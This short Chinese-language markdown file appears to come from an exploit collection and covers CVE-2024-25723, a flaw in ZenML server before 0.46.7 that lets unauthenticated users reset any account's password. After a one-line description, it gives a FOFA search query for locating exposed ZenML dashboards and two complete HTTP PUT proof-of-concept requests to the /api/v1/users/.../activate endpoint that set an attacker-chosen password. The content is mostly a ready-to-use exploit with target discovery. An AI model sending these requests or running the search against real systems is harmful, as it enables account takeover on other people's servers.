ZenML服务器远程权限提升漏洞(CVE-2024-25723).md

ZenML服务器远程权限提升漏洞(CVE-2024-25723)

ZenML服务器远程权限提升漏洞（CVE-2024-25723）存在于Python的0.46.7之前的ZenML机器学习包中的ZenML服务,漏洞源于/*/{user_name_or_id}/activate REST API 端点允许基于有效用户名和请求正文中的新密码进行访问，可导致未授权用户远程权限提升，可直接重置任意ZenML账户密码。

fofa

title=="ZenML - Dashboard"

poc

PUT /api/v1/users/*/activate HTTP/1.1
Host: 
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 31

{"password": "Ldwk@20240426"}


PUT /api/v1/users/default/activate HTTP/1.1
Host: 
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 31

{"password": "Ldwk@20240426"}